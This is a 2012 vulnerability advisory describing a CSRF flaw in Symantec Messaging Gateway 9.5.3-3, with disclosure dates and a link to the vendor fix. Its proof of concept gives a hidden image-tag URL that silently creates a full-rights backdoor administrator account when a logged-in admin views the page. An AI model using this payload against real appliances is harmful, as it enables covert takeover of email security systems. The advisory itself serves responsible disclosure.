Symantec Messaging Gateway Easy CSRF to add a backdoor-administrator (for example)
Name: Symantec Messaging Gateway – Easy CSRF to add a backdoor-administrator (for example)
Release Date: 30 November 2012
Discoverer: Ben Williams
Systems Affected: Symantec Messaging Gateway 9.5.3-3
Discovered: 16 April 2012
Released: 16 April 2012
Approved: 29 April 2012
Reported: 30 April 2012
Fixed: 27 August 2012
Published: 30 November 2012
Symantec Messaging Gateway 9.5.3-3 – Easy CSRF to add a backdoor-administrator (for example)
Symantec Messaging Gateway 9.5.3-3 is the latest version, of their Email Security Appliance
It would be relatively easy for an attacker to add a backdoor-administrator to the system, by getting a logged-in adminstrator to view a webpage with a specially crafted image-tag. This is partly due to the fact that GET and POST requests are interchangeable, there is no password protection on sensitive functions, and there is not CSRF protection in the product.
IV. PROOF OF CONCEPT
An attacker can create an web page with a hidden image-tag (example below)
A very interesting page indeed
src=" http://192.168.1.59:41080/brightmail/admin/administrator/save.do?pageReuseFor=add id=0 userName=backdoor passwd=muhaha3 confirmPassword=muhaha3 fullAdminRole=true statusRole=true"
When a logged-in administrator views this page, a new backdoor administrator will be created in the application (as long as the username is unique).
The administrator would not notice anything until they go to here:
(where they would see the added administrator, but if the username is something like “system” or “filter” they may not notice this as an issue anyway)
The attacker could then use this backdoor administrator to login, control and reconfigure the appliance.
Many other functions can be abused in this way to arbitrarily reconfigure the appliance.
An updated version of the software has been released to address the vulnerability:
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory pvid=security_advisory year=2012 suid=20120827_00=security_advisory year=2012 suid=20120827_00